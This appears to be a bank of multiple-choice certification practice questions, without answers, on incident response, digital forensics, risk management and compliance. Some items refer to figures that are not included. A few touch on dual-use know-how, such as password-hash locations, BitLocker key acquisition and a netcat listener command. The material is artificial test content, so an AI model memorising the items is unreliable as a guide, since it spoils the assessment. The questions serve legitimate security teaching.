Customers, constituents, and media

Internet service providers

Law enforcement agencies

Legal counsel

What common incident response follow-up activity includes asking questions like “What additional tools or resources are needed to detect or analyze future events?”

Preparation

Lessons learned review

Evidence gathering

Procedural analysis

Suki has been asked to capture forensic data from a Windows PC and needs to ensure that she captures the data in their order of volatility. Which order is correct from most volatile to least volatile?

Network traffic, CPU cache, disk drives, optical media

CPU cache, network traffic, disk drives, optical media

Optical media, disk drives, network traffic, CPU cache

Network traffic, CPU cache, optical media, disk drives

During an incident response process, Suki heads to a compromised system and pulls its network cable. What phase of the incident response process is Suki performing?

Preparation

Detection and analysis

Containment, eradication, and recovery

Postincident activity

Scott needs to verify that the forensic image he has created is an exact duplicate of the original drive. Which of the following methods is considered forensically sound?

Create a MD5 hash

Create a SHA-1 hash

Create a SHA-2 hash

All of the above

What strategy does NIST suggest for identifying attackers during an incident response process?

Use geographic IP tracking to identify the attacker's location.

Contact upstream ISPs for assistance in tracking down the attacker.

Contact local law enforcement so that they can use law enforcement–specific tools.

Identifying attackers is not an important part of the incident response process.

Rick is conducting a forensic investigation of a compromised system. He knows from user reports that issues started at approximately 3:30 p.m. on June 12. Using the SANS SIFT open source forensic tool, what process should he use to determine what occurred?

Search the drive for all files that were changed between 3 and 4 p.m.

Create a Super Timeline.

Run antimalware and search for newly installed malware tools during that time frame.

Search system logs for events between 3 and 4 p.m.

Vlad believes that an attacker may have added accounts and attempted to obtain extra rights on a Linux workstation. Which of the following is not a common way to check for unexpected accounts like this?

Review /etc/passwd and /etc/shadow for unexpected accounts.

Check /home/ for new user directories.

Review /etc/sudoers for unexpected accounts.

Check /etc/groups for group membership issues.

Ben wants to coordinate with other organizations in the information security community to share data and current events as well as warnings of new security issues. What type of organization should he join?

An ISAC

A CSIRT

A VPAC

An IRT

While investigating a spam email, Adam is able to capture headers from one of the email messages that was received. He notes that the sender was Carmen Victoria Garci. What facts can he gather from the headers shown here?

Victoria Garci's email address is tntexpress819@yahoo.com.

The sender sent via Yahoo.

The sender sent via a system in Japan.

The sender sent via Gmail.

Azra needs to access a macOS system but does not have the user's password. If the system is not FileVaulted, which of the following options is not a valid recovery method?

Use Single User mode to reset the password.

Use Recovery mode to recover the password.

Use Target Disk mode to delete the Keychain.

Reset the password from another privileged user account.

While performing forensic analysis of an iPhone backup, Cynthia discovers that she has only some of the information that she expects the phone to contain. What is the most likely scenario that would result in the backup she is using having partial information?

The backup was interrupted.

The backup is encrypted.

The backup is a differential backup.

The backup is stored in iCloud.

Cullen wants to ensure that his chain of custody documentation will stand up to examination in court. Which of the following options will provide him with the best documentary proof of his actions?

A second examiner acting as a witness and countersigning all actions

A complete forensic log book signed and sealed by a notary public

A documented forensic process with required sign-off

Taking pictures of all independent forensic actions

Cynthia is reviewing her organization's incident response recovery process, which is outlined here. Which of the following recommendations should she make to ensure that further issues do not occur during the restoration process?

Change passwords before restoring from backup

Isolate the system before restoring from backups

Securely wipe the drive before restoration

Vulnerability scan before patching

After zero-wiping a system's hard drive and rebuilding it with all security patches and trusted accounts, Azra is notified that the system is once again showing signs of compromise. Which of the following types of malware package cannot survive this type of eradication effort?

An MBR-resident malware tool

A UEFI-resident malware

A BIOS-resident malware

A slack space–resident malware package

Patents, copyrights, trademarks, and trade secrets are all related to what type of high value asset?

PII

PHI

Corporate confidential

Intellectual property

Which of the following issues is not commonly associated with BYOD devices?

Increased network utilization

Increased device costs

Increased support tickets

Increased security risk

Saria is reviewing the contents of a drive as part of a forensic effort and notes that the file she is reviewing takes up more space on the disk than its actual size, as shown here. What has she discovered?

Slack space

Hidden content

Sparse files

Encryption overhead

What is the minimum retention period for incident data for U.S. federal government agencies?

90 days

1 year

3 years

7 years

Kathleen is restoring a critical business system to operation after a major compromise and needs to validate that the operating system and application files are legitimate and do not have any malicious code included in them. What type of tool should she use to validate this?

A trusted system binary kit

Dynamic code analysis

Static code analysis

File rainbow tables

Sadiq wants to verify that authentication to a Linux service has two-factor authentication settings set as a requirement. Which common Linux directory can he check for this type of setting, listed by application, if the application supports it?

/etc/pam.d

/etc/passwd

/etc/auth.d

/etc/tfa

Mel is creating the evidence log for a computer that was part of an attack on an external third-party system. What network-related information should he include in that log if he wants to follow NIST's recommendations?

Subnet mask, DHCP server, hostname, MAC address

IP addresses, MAC addresses, hostname

Domain, hostname, MAC addresses, IP addresses

NIC manufacturer, MAC addresses, IP addresses, DHCP configuration

Ryan believes that systems on his network have been compromised by an advanced persistent threat actor. He has observed a number of large file transfers outbound to remote sites via TLS-protected HTTP sessions from systems that do not typically send data to those locations. Which of the following techniques is most likely to detect the APT infections?

Network traffic analysis

Network forensics

Endpoint behavior analysis

Endpoint forensics

After submitting a suspected malware package to VirusTotal, Damian receives the following results. What does this tell Damian?

The submitted file contains more than one malware package.

Antivirus vendors use different names for the same malware.

VirusTotal was unable to specifically identify the malware.

The malware package is polymorphic, and matches will be incorrect.

Ben is investigating a potential malware infection of a laptop belonging to a senior manager in the company he works for. When the manager opens a document, website, or other application that takes user input, words start to appear as though they are being typed. What is the first step that Ben should take in his investigation?

Run an antivirus scan.

Disconnect the system from the network.

Wipe the system and reinstall.

Observe and record what is being typed.

Kathleen's forensic analysis of a laptop that is believed to have been used to access sensitive corporate data shows that the suspect tried to overwrite the data they downloaded as part of antiforensic activities by deleting the original files and then copying other files to the drive. Where is Kathleen most likely to find evidence of the original files?

The MBR

Unallocated space

Slack space

The FAT

As part of a test of her network's monitoring infrastructure, Kelly uses snmpwalk to validate her router SNMP settings. She executes snmpwalk as shown here:

 snmpwalk -c public 10.1.10.1 -v1
 iso.3.6.1.2.1.1.0 = STRING: "RouterOS 3.6"
 iso.3.6.1.2.1.2.0 = OID: iso.3.6.1.4.1.30800
 iso.3.6.1.2.1.1.3.0 = Timeticks: (1927523) 08:09:11
 iso.3.6.1.2.1.1.4.0 = STRING: "root"
 iso.3.6.1.2.1.1.5.0 = STRING: "RouterOS"
 ...

Which of the following pieces of information is not something she can discover from this query?

SNMP v1 is enabled.

The community string is public.

The community string is root.

The contact name is root.

Laura needs to check on memory, CPU, disk, network, and power usage on a Mac. What GUI tool can she use to check these?

Resource Monitor

System Monitor

Activity Monitor

Sysradar

Angela wants to access the decryption key for a BitLocker-encrypted system, but the system is currently turned off. Which of the following methods is a viable method if a Windows system is turned off?

Hibernation file analysis

Memory analysis

Boot-sector analysis

Brute-force cracking

Adam believes that a system on his network is infected but does not know which system. To detect it, he creates a query for his network monitoring software based on the following pseudocode. What type of traffic is he most likely trying to detect?

        destip: [*] and duration < 10 packets and destbytes < 3000 and flowcompleted = true
        and application = http or https or tcp or unknown and content != uripath:* and content
        != contentencoding:*

Users browsing malicious sites

Adware

Beaconing

Outbound port scanning

Casey's search for a possible Linux backdoor account during a forensic investigation has led her to check through the filesystem for issues. Where should she look for back doors associated with services?

/etc/passwd

/etc/xinetd.conf

/etc/shadow

$HOME/.ssh/

As an employee of the U.S. government, Megan is required to use NIST's information impact categories to classify security incidents. During a recent incident, proprietary information was changed. How should she classify this incident?

As a privacy breach

As an integrity loss

As a proprietary breach

As an availability breach

During what stage of an event is preservation of evidence typically handled?

Preparation

Detection and analysis

Containment, eradication, and recovery

Postincident activity

Nara is reviewing event logs to determine who has accessed a workstation after business hours. When she runs secpol.msc on the Windows system she is reviewing, she sees the following settings. What important information will be missing from her logs?

Login failures

User IDs from logins

Successful logins

Times from logins

Marta runs the command shown here while checking usage of her Linux system. Which of the following statements is true based on the information shown?

There are two users logged in remotely via SSH.

There is an active exploit in progress using the Monkeycom exploit.

The local system is part of the demo.com domain.

The system is not providing any UDP services.

Lukas wants to purge a drive to ensure that data cannot be extracted from it when it is sent off-site. Which of the following is not a valid option for purging hard drives on a Windows system?

Use the built-in Windows sdelete command line.

Use Eraser.

Use DBAN.

Encrypt the drive and then delete the key.

The company that Charlene works for has been preparing for a merger, and during a quiet phase she discovers that the corporate secure file server that contained the details of the merger has been compromised. As she works on her incident summary report, how should she most accurately categorize the data that was breached?

PII

PHI

PCI

Corporate confidential data

Which of the following is not a valid use case for live forensic imaging?

Malware analysis

Encrypted drives

Postmortem forensics

Nonsupported filesystems

Which of the following commands is the standard way to determine how old a user account is on a Linux system if [username] is replaced by the user ID that you are checking?

userstat [username]

ls -ld /home/[username]

aureport -auth | grep [username]

None of the above

Profiling networks and systems can help to identify unexpected activity. What type of detection can be used once a profile has been created?

Dynamic analysis

Anomaly analysis

Static analysis

Behavioral analysis

While reviewing the actions taken during an incident response process, Mei is informed by the local desktop support staff person that the infected machine was returned to service by using a Windows system restore point. Which of the following items will a Windows system restore return to a previous state?

Personal files

Malware

Windows system files

All installed apps

During a major incident response effort, Kobe discovers evidence that a critical application server may have been the data repository and egress point in the compromise he is investigating. If he is unable to take the system offline, which of the following options will provide him with the best forensic data?

Reboot the server and mount the system drive using a USB-bootable forensic suite.

Create an image using a tool like FTK Imager Lite.

Capture the system memory using a tool like Volatility.

Install and run an imaging tool on the live server.

Manish wants to monitor file permission changes on a Windows system he is responsible for. What audit category should he enable to allow this?

File Permissions

User Rights

File System

Audit Objects

Manish finds the following entries on a Linux system in /var/log/auth.log. If he is the only user with root privileges, requires two-factor authentication to log in as root, and did not take the actions shown, what should he check for?

A hacked root account

A privilege escalation attack from a lower privileged account or service

A malware infection

A RAT

A disgruntled former employee uses the systems she was responsible for to slow down the network that Chris is responsible for protecting during a critical business event. What NIST threat classification best fits this type of attack?

Impersonation

Attrition

Improper usage

Web

As part of his forensic analysis of a series of photos, John runs exiftool for each photo. He receives the following listing from one photo. What useful forensic information can he gather from this photo?

The original creation date, the device type, the GPS location, and the creator's name

The endian order of the file, the file type, the GPS location, and the scene type

The original creation date, the device type, the GPS location, and the manufacturer of the device

The MIME type, the GPS time, the GPS location, and the creator's name

During the preparation phase of his organization's incident response process, Oscar gathers a laptop with useful software including a sniffer and forensics tools, thumb drives and external hard drives, networking equipment, and a variety of cables. What is this type of preprepared equipment commonly called?

A grab bag

A jump kit

A crash cart

A first responder kit

Chris is analyzing Chrome browsing information as part of a forensic investigation. After querying the visits table that Chrome stores, he discovers a 64-bit integer value stored as “visit time” listed with a value of 131355792940000000. What conversion does he need to perform on this data to make it useful?

The value is in seconds since January 1, 1970.

The value is in seconds since January 1, 1601.

The value is a Microsoft timestamp and can be converted using the time utility.

The value is an ISO 8601–formatted date and can be converted with any ISO time utility.

Marsha needs to ensure that the workstations she is responsible for have received a critical Windows patch. Which of the following methods should she avoid using to validate patch status for Windows 10 systems?

Check the Update History manually.

Run the Microsoft Baseline Security Analyzer.

Create and run a PowerShell script to search for the specific patch she needs to check.

Use an endpoint configuration manager to validate patch status for each machine on her domain.

As John proceeds with a forensic investigation involving numerous images, he finds a directory labeled Downloaded from Facebook. The images appear relevant to his investigation, so he processes them for metadata using exiftool. The following image shows the data provided. What forensically useful information can John gather from this output?

The original file creation date and time

The device used to capture the image

The original digest (hash) of the file, allowing comparison to the original

None; Facebook strips almost all useful metadata from images.

The hospital that Tony works at is required to be HIPAA compliant and needs to protect HIPAA data. Which of the following is not an example of PHI?

Names of individuals

Records of health care provided

Records of payment for healthcare

Individual educational records

Ben works at a U.S. federal agency that has experienced a data breach. Under FISMA, which organization does he have to report this incident to?

US-CERT

The National Cyber Security Authority

The National Cyber Security Centre

CERT/CC

Which of the following properly lists the order of volatility from least volatile to most volatile?

Printouts, swap files, CPU cache, RAM

Hard drives, USB media, DVDs, CD-RWs

DVDs, hard drives, virtual memory, caches

RAM, swap files, SSDs, printouts

Joe wants to recover the passwords for local Windows users on a Windows workstation. Where are the password hashes stored?

C:\Windows\System32\passwords

C:\Windows\System32\config

C:\Windows\Secure\config

C:\Windows\Secure\accounts

While conducting a forensic review of a system involved in a data breach, Alex discovers a number of Microsoft Word files including files with filenames like critical_data.docx and sales_estimates_2020.docx. When he attempts to review the files using a text editor for any useful information, he finds only unreadable data. What has occurred?

Microsoft Word files are stored in ZIP format.

Microsoft Word files are encrypted.

Microsoft Word files can be opened only by Microsoft Word.

The user has used antiforensic techniques to scramble the data.

Singh is attempting to diagnose high memory utilization issues on a macOS system and notices a chart showing memory pressure. What does memory pressure indicate for macOS when the graph is yellow and looks like the following image?

Memory resources are available.

Memory resources are available but being tasked by memory management processes.

Memory resources are in danger, and applications will be terminated to free up memory.

Memory resources are depleted, and the disk has begun to swap.

Lukas believes that one of his users has attempted to use built-in Windows commands to probe servers on the network he is responsible for. How can he recover the command history for that user if the system has been rebooted since the reconnaissance has occurred?

Check the Bash history.

Open a command prompt window and press F7.

Manually open the command history from the user's profile directory.

The Windows command prompt does not store command history.

While conducting a wireless site survey, Susan discovers two wireless access points that are both using the same MAC address. When she attempts to connect to each, she is sent to a login page for her organization. What should she be worried about?

A misconfigured access point

A vendor error

An evil twin attack

A malicious MAC attack

During an incident response effort, Alex discovers a running Unix process that shows that it was run using the command nc -k -l 6667. He does not recognize the service, believes it may be a malicious process, and needs assistance in determining what it is. Which of the following would best describe what he has encountered?

An IRC server

A network catalog server

A user running a shell command

A netcat server

Angela is conducting an incident response exercise and needs to assess the economic impact to her organization of a $500,000 expense related to an information security incident. How should she categorize this?

Low impact

Medium impact

High impact

Angela cannot assess the impact with the data given.

Saanvi needs to verify that his Linux system is sending system logs to his SIEM. What method can he use to verify that the events he is generating are being sent and received properly?

Monitor traffic by running Wireshark or tcpdump on the system.

Configure a unique event ID and send it.

Monitor traffic by running Wireshark or tcpdump on the SIEM device.

Generate a known event ID and monitor for it.

Susan wants to protect the Windows workstations in her domain from buffer overflow attacks. What should she recommend to the domain administrators at her company?

Install an antimalware tool.

Install an antivirus tool.

Enable DEP in Windows.

Set VirtualAllocProtection to 1 in the registry.

What step follows sanitization of media according to NIST guidelines for secure media handling?

Reuse

Validation

Destruction

Documentation

Latisha wants to create a documented chain of custody for the systems that she is handling as part of a forensic investigation. Which of the following will provide her with evidence that systems were not tampered with while she is not working with them?

A chain-of-custody log

Tamper-proof seals

System logs

None of the above

Matt's incident response team has collected log information and is working on identifying attackers using that information. What two stages of the NIST incident response process is his time working in?

Preparation and containment, eradication, and recovery

Preparation and postincident activity

Detection and analysis, and containment, eradication, and recovery

Containment, eradication, and recovery and postincident activity

Maria wants to understand what a malware package does and executes it in a virtual machine that is instrumented using tools that will track what the program does, what changes it makes, and what network traffic it sends while allowing her to make changes on the system or to click files as needed. What type of analysis has Maria performed?

Manual code reversing

Interactive behavior analysis

Static property analysis

Dynamic code analysis

Raj discovers that the forensic image he has attempted to create has failed. What is the most likely reason for this failure?

Data was modified.

The source disk is encrypted.

The destination disk has bad sectors.

The data cannot be copied in RAW format.

Derek sets up a series of virtual machines that are automatically created in a completely isolated environment. Once created, the systems are used to run potentially malicious software and files. The actions taken by those files and programs are recorded and then reported. What technique is Derek using?

Sandboxing

Reverse engineering

Malware disassembly

Darknet analysis

Liam notices the following entries in his Squert web console (a web console for Sguil IDS data). What should he do next to determine what occurred?

Review SSH logs.

Disable SSH and then investigate further.

Disconnect the server from the Internet and then investigate.

Immediately change his password.

Latisha wants to avoid running a program installed by a user that she believes is set with a RunOnce key in the Windows registry but needs to boot the system. What can she do to prevent RunOnce from executing the programs listed in the registry key?

Disable the registry at boot.

Boot into Safe Mode.

Boot with the -RunOnce flag.

RunOnce cannot be disabled; she will need to boot from external media to disable it first.

Pranab wants to determine when a USB device was first plugged into a Windows workstation. What file should he check for this information?

The registry

The setupapi log file

The system log

The data is not kept on a Windows system.

A major new botnet infection that uses a peer-to-peer command-and-control process has been released. Latisha wants to detect infected systems but knows that peer-to-peer communication is irregular and encrypted. If she wants to monitor her entire network for this type of traffic, what method should she use to catch infected systems?

Build an IPS rule to detect all peer-to-peer communications that match the botnet's installer signature.

Use beaconing detection scripts focused on the command-and-control systems.

Capture network flows for all hosts and use filters to remove normal traffic types.

Immediately build a network traffic baseline and analyze it for anomalies.

Which of the following activities is not part of the containment and restoration process?

Minimizing loss

Identifying the attacker

Limiting service disruption

Rebuilding compromised systems

Samantha has recently taken a new position as the first security analyst that her employer has ever had on staff. During her first week, she discovers that there is no information security policy and that the IT staff do not know what to do during a security incident. Samantha plans to start up a CSIRT to handle incident response. What type of documentation should she provide to describe specific procedures that the CSIRT will use during events like malware infections and server compromise?

An incident response policy

An operations manual

An incident response program

A playbook

What type of attack behavior is shown here?

Kernel override

RPC rewrite

Buffer overflow

Heap hack

While investigating a compromise, Jack discovers four files that he does not recognize and believes may be malware. What can he do to quickly and effectively check the files to see whether they are malware?

Submit them to a site like VirusTotal.

Open them using a static analysis tool.

Run strings against each file to identify common malware identifiers.

Run a local antivirus or antimalware tool against them.

Alexandra is attempting to determine why a Windows system keeps filling its disk. If she wants to see a graphical view of the contents of the disk that allows her to drill down on each cluster, what Sysinternals tool should she use?

du

df

GraphDisk

DiskView

What useful information cannot be determined from the contents of the $HOME/.ssh folder when conducting forensic investigations of a Linux system?

Remote hosts that have been connected to

Private keys used to log in elsewhere

Public keys used for logins to this system

Passphrases associated with the keys

John believes that the image files he has encountered during a forensic investigation were downloaded from a site on the Internet. What tool can John use to help identify where the files were downloaded from?

Google reverse image search

Tineye

Bing Image Match

All of the above

Brian's network suddenly stops working at 8:40 a.m., interrupting videoconferences, streaming, and other services throughout his organization, and then resumes functioning. When Brian logs into his PRTG console and checks his router's traffic via the primary connection's redundant network link, he sees the following graph. What should Brian presume occurred based on this information?

The network failed and is running in cached mode.

There was a link card failure, and the card recovered.

His primary link went down, and he should check his secondary link for traffic.

PRTG stopped receiving flow information and needs to be restarted.

Carlos needs to create a forensic copy of a BitLocker-encrypted drive. Which of the following is not a method that he could use to acquire the BitLocker key?

Analyzing the hibernation file

Analyzing a memory dump file

Retrieving the key from the MBR

Performing a FireWire attack on mounted drives

Adam works for a large university and sees the following graph in his PRTG console when looking at a yearlong view. What behavioral analysis could he leverage based on this pattern?

Identify unexpected traffic during breaks like the low point at Christmas.

He can determine why major traffic drops happen on weekends.

He can identify top talkers.

Adam cannot make any behavioral determinations based on this chart.

What is space between the last sector containing logical data and the end of the cluster called?

Unallocated space

Ephemeral space

Slack space

Unformatted space

Faruk wants to use netstat to get the process name, the PID, and the username associated with abnormally behaving processes that are running on a Linux system he is investigating. What netstat flags will provide him with this information?

-na

-pt

-pe

-sa

Jack is preparing to take a currently running PC back to his forensic lab for analysis. As Jack considers his forensic process, one of his peers recommends that he simply pull the power cable rather than doing a software-based shutdown. Why might Jack choose to follow this advice?

It will create a crash log, providing useful memory forensic information.

It will prevent shutdown scripts from running.

It will create a memory dump, providing useful forensic information.

It will cause memory-resident malware to be captured, allowing analysis.

Amanda has been tasked with acquiring data from an iPhone as part of a mobile forensics effort. At what point should she remove the SIM (or UICC) card from the device if she receives the device in a powered-on state?

While powered on, but after logical collection

While powered on, prior to logical collection

While powered off, after logical collection

While powered off, before logical collection

Rick wants to validate his recovery efforts and intends to scan a web server he is responsible for with a scanning tool. What tool should he use to get the most useful information about system vulnerabilities?

Wapiti

nmap

OpenVAS

ZAP

What is the key goal of the containment stage of an incident response process?

To limit leaks to the press or customers

To limit further damage from occurring

To prevent data exfiltration

To restore systems to normal operation

What level of forensic data extraction will most likely be possible and reasonable for a corporate forensic examiner who deals with modern phones that provide filesystem encryption?

Level 1: Manual extraction

Level 2: Logical extraction

Level 3: JTAG or HEX dumping

Level 4: Chip extraction

Wang is performing a forensic analysis of a Windows 10 system and wants to provide an overview of usage of the system using information contained in the Windows registry. Which of the following is not a data element she can pull from the SAM?

Password expiration setting

User account type

Number of logins

The first time the account logged in

Samantha is preparing a report describing the common attack models used by advanced persistent threat actors. Which of the following is a typical characteristic of APT attacks?

They involve sophisticated DDoS attacks.

They quietly gather information from compromised systems.

They rely on worms to spread.

They use encryption to hold data hostage.

During an incident response process, Alice is assigned to gather details about what data was accessed, if it was exfiltrated, and what type of data was exposed. What type of analysis is she doing?

Information impact analysis

Economic impact analysis

Downtime analysis

Recovery time analysis

Carol has discovered an attack that appears to be following the process flow shown here. What type of attack should she identify this as?

Phishing

Zero-day exploit

Whaling

Advanced persistent threat

Refer to the image shown here for questions 200–202.

During an e-discovery process, Carol reviews the request from opposing counsel and builds a list of all of the individuals identified. She then contacts the IT staff who support each person to request a list of their IT assets. What phase of the EDRM flow is she in?

Information governance

Identification

Preservation

Collection

During the preservation phase of her work, Carol discovers that information requested as part of the discovery request has been deleted as part of a regularly scheduled data cleanup as required by her organization's policies. What should Carol do?

Conduct a forensic recovery of the data.

Create synthetic data to replace the missing data.

Report the issue to counsel.

Purge any other data related to the request based on the same policy.

What phase should Carol expect to spend the most person-hours in?

Identification

Collection and preservation

Processing, review, and analysis

Production

The incident response kit that Cassandra is building is based around a powerful laptop so that she can perform on-site drive acquisitions and analysis. If she expects to need to acquire data from SATA, IDE, SSD, and flash drives, what item should she include in her kit?

A write blocker

A USB hard drive

A multi-interface drive adapter

A USB-C cable

Which of the following items is not typically found in corporate forensic kits?

Write blockers

Crime scene tape

Label makers

Decryption tools

What incident response tool should Kai build prior to an incident to ensure that staff can reach critical responders when needed?

A triage triangle

A call list

A call rotation

A responsibility matrix

While performing process analysis on a compromised Linux system, Kai discovers a process called “john” that is running. What should she identify as the most likely use of the program?

Password cracking

Privilege escalation

A rootkit

A user named John's personal application

Which of the following organizations is not typically involved in postincident communications?

Developers

Marketing

Public relations

Legal

While reviewing system logs, Charles discovers that the processor for the workstation he is reviewing has consistently hit 100 percent processor utilization by the web browser. After reviewing the rest of the system, no unauthorized software appears to have been installed. What should Charles do next?

Review the sites visited by the web browser when the CPU utilization issues occur

Check the browser binary against a known good version

Reinstall the browser

Disable TLS

Mika finds that the version of Java installed on her organization's web server has been replaced. What type of issue is this best categorized as?

Unauthorized software

An unauthorized change

Unexpected input

A memory overflow

Greg finds a series of log entries in his Apache logs showing long strings "AAAAAAAAAAAAAAAAAAAAAAA", followed by strings of characters. What type of attack has he most likely discovered?

A SQL injection attack

A denial-of-service attack

A buffer overflow attack

A PHP string-ring attack

Barb wants to detect unexpected output from the application she is responsible for managing and monitoring. What type of tool can she use to detect unexpected output effectively?

A log analysis tool

A behavior-based analysis tool

A signature-based detection tool

Manual analysis

Tom is building his incident response team and is concerned about how the organization will address insider threats. Which business function would be most capable of assisting with the development of disciplinary policies?

Information security

Human resources

Legal counsel

Senior management

Which one of the following data elements would constitute sensitive personal information (SPI) under the European Union's General Data Protection Regulation?

Driver's license number

Sexual orientation

Bank account number

Address

During a security incident, Joanna makes a series of changes to production systems to contain the damage. What type of change should she file in her organization's change control process when the response effort is concluding?

Routine change

Priority change

Emergency change

Pre-approved change

Which one of the following incident response test types provides an interactive exercise for the entire team but does not run the risk of disrupting normal business activity?

Full interruption test

Checklist review

Management review

Tabletop exercise

Greg suspects that an attacker is running an SSH server on his network over a nonstandard port. What port is normally used for SSH communications?

21

22

443

444

Amanda is reviewing the security of a system that was previously compromised. She is searching for signs that the attacker has achieved persistence on the system. Which one of the following should be her highest priority to review?

Scheduled tasks

Network traffic

Running processes

Application logs

Which of the following cloud service environments is likely to provide the best available information for forensic analysis?

SaaS

IaaS

PaaS

IDaaS

Ken is helping his organization prepare for future incident response efforts and would like to ensure that they conduct regular training exercises. Which one of the following exercises could he use to remind incident responders of their responsibilities with the least impact on other organizational priorities?

Checklist review

Structured walkthrough

Capture the flag

Tabletop exercise

When analyzing network traffic for indicators of compromise, which one of the following service/port pairings would indicate a common protocol running on a non-standard port?

HTTPS on TCP port 443

RDP on TCP port 3389

SSH on TCP port 1433

HTTP on TCP port 80

Camilla is participating in the eradication and recovery stage of an incident response process. Which one of the following activities would not normally occur during this phase?

Vulnerability mitigation

Restoration of permissions

Verification of logging/communication to security monitoring

Analysis of drive capacity consumption

Craig is revising his organization’s incident response plan and wants to ensure that the plan includes coordination with all relevant internal and external entities. Which one of the following stakeholders should he be most cautious about coordinating with?

Regulatory bodies

Senior leadership

Legal

Human resources

Chapter 5
Domain 5.0: Compliance and Assessment

EXAM OBJECTIVES COVERED IN THIS CHAPTER:

5.1 Understand the importance of data privacy and protection.

Privacy vs. security

Non-technical controls

Technical controls

5.2 Given a scenario, apply security concepts in support of organizational risk mitigation.

Business impact analysis

Risk identification process

Risk calculation

Communication of risk factors

Risk prioritization

Systems assessment

Documented compensating controls

Training and exercises

Supply chain assessment

5.3 Explain the importance of frameworks, policies, procedures, and controls.

Frameworks

Policies and procedures

Category

Control type

Audits and assessments

Victoria's organization is concerned that end users do not understand the levels of security protection that apply to each type of information that they handle. What security control would best address this need?

Ownership

Classification

Retention

Confidentiality

Ken learns that an APT group is targeting his organization. What term best describes this situation?

Risk

Threat

Countermeasure

Vulnerability

Walt is assessing his organization against the HIPAA security framework. The HIPAA security rule allows the organization to select controls that are appropriate for the organization's business environment. What term best describes this approach?

Prescriptive

Minimal

Optional

Risk-based

Which one of the following activities is least likely to occur during the risk identification process?

Network segmentation

Threat intelligence

Vulnerability scanning

System assessments

What two factors are weighted most heavily when determining the severity of a risk?

Probability and magnitude

Likelihood and probability

Magnitude and impact

Impact and control

Preemployment background screening is an example of what type of security control?

Detective

Preventive

Corrective

Compensating

Roland received a security assessment report from a third-party assessor, and it indicated that one of the organization's web applications is susceptible to an OAuth redirect attack. What type of attack would this vulnerability allow an attacker to wage?

Privilege escalation

Cross-site scripting

SQL injection

Impersonation

Manish recently verified that the cash registers in his retail stores are printing only the last four digits of credit card numbers on receipts, replacing all of the other digits with asterisks. The receipt does contain the customer's name and signature. What type of control has he implemented?

Tokenization

Purging

Masking

Deidentification

Renee is conducting due diligence on a potential vendor. Which one of the following information sources would be most useful to her?

Marketing brochure

Conversation with the vendor's security team

Independent audit results

List of security standards in use

Which one of the following objectives is least relevant to HIPAA compliance programs?

Confidentiality

Privacy

Nonrepudiation

Availability

Questions 11–13 refer to the following scenario.

Gary recently conducted a comprehensive security review of his organization. He identified the 25 top risks to the organization and is pursuing different risk management strategies for each of these risks. In some cases, he is using multiple strategies to address a single risk. His goal is to reduce the overall level of risk so that it lies within his organization's risk tolerance.

Gary decides that the organization should integrate a threat intelligence feed with the firewall. What type of risk management strategy is this?

Risk mitigation

Risk acceptance

Risk transference

Risk avoidance

Gary discovers that his organization is storing some old files in a cloud service that are exposed to the world. He deletes those files. What type of risk management strategy is this?

Risk mitigation

Risk acceptance

Risk transference

Risk avoidance

Gary is working with his financial team to purchase a cyber-liability insurance policy to cover the financial impact of a data breach. What type of risk management strategy is he using?

Risk mitigation

Risk acceptance

Risk transference

Risk avoidance

Sadiq is the CIO of a midsized company and is concerned that someone on the IT team may be embezzling funds from the organization by modifying database contents in an unauthorized fashion. What group could investigate this providing the best balance between cost, effectiveness, and independence?

Internal assessment by the IT manager

Internal audit

External audit

Law enforcement

Deepa recently accepted a new position as a cybersecurity analyst for a privately held bank. Which one of the following regulations will have the greatest impact on her cybersecurity program?

HIPAA

GLBA

FERPA

SOX

Alfonso is reviewing the ways that his organization uses personal information and ensuring that they are compliant with the disclosures made in their privacy policy. What term best describes this activity?

Data retention

Data disposal

Data minimization

Purpose limitation

Florian is designing an encryption strategy for his organization. He is choosing an encryption key length and decides that he will choose a shorter key to minimize processor consumption. The key length is within his organization's security standards, but it is not the maximum key length supported by the device. The organization is a HIPAA-covered entity. Which one of the following statements best describes this approach?

This introduces an unnecessary level of security risk because it is not using the full security capabilities of the device.

This is an acceptable engineering trade-off.

This approach likely violates the organization's security policies.

Regardless of whether the approach violates the organization's internal policies, it is likely a HIPAA violation.

Brandy works in an organization that is adopting the ITIL service management strategy. Which ITIL core activity includes security management as a process?

Service strategy

Service design

Service transition

Service operation

What type of exercise gathers teams together to plan a response to a hypothetical situation without actually activating an incident response effort?

Checklist review

Tabletop exercise

Full interruption test

Parallel test

Oskar uses an infrastructure-as-a-service (IaaS) provider and faces limits on the regions that he may use within that service. His organization is concerned that placing data in datacenters located within the European Union would subject it to the EU's General Data Protection Regulation (GDPR). What type of concern does this policy address?

Data minimization

Data sovereignty

Purpose limitation

Data retention

Which one of the following events is least likely to trigger the review of an organization's information security program?

Security incident

Changes in compliance obligations

Changes in team members

Changes in business processes

Which one of the following risk management strategies is most likely to limit the probability of a risk occurring?

Risk acceptance

Risk avoidance

Risk transference

Risk mitigation

Roger is the CISO for a midsized manufacturing firm. His boss, the CIO, recently returned from a meeting of the board of directors where she had an in-depth discussion about cybersecurity. One member of the board, familiar with International Organization for Standardization (ISO) standards in manufacturing quality control, asked if there was an ISO standard covering cybersecurity. Which standard is most relevant to the director's question?

ISO 9000

ISO 17799

ISO 27001

ISO 30170

Questions 24–26 refer to the following scenario:

Martin is developing the security infrastructure for a new business venture that his organization is launching. The business will be developing new products that are considered trade secrets, and it is of the utmost importance that the plans for those products not fall into the hands of competitors.

Martin would like to take steps to confirm the reliability of employees and avoid situations where employees might be susceptible to blackmail attempts to obtain the plans. Which one of the following controls would be most effective to achieve that goal?

Firewall

DLP system

Background investigation

Nondisclosure agreement

Martin would like to install a network control that would block the potential exfiltration of sensitive information from the venture's facility. Which one of the following controls would be most effective to achieve that goal?

IPS

DLP system

Firewall

IDS

Several employees will need to travel with sensitive information on their laptops. Martin is concerned that one of those laptops may be lost or stolen. Which one of the following controls would best protect the data on stolen devices?

FDE

Strong passwords

Cable lock

IPS

Saanvi would like to reduce the probability of a data breach that affects sensitive personal information. Which one of the following controls is most likely to achieve that objective?

Minimizing the amount of data retained and the number of places where it is stored

Limiting the purposes for which data may be used

Purchasing cyber-risk insurance

Installing a new firewall

Kwame recently completed a risk assessment and is concerned that the level of residual risk exceeds his organization's risk tolerance. What should he do next?

Have a discussion with his manager

Implement new security controls

Modify business processes to lower risk

Purge data from systems

Which one of the following is not one of the four domains of COBIT control objectives?

Plan and Organize

Acquire and Implement

Design and Secure

Deliver and Support

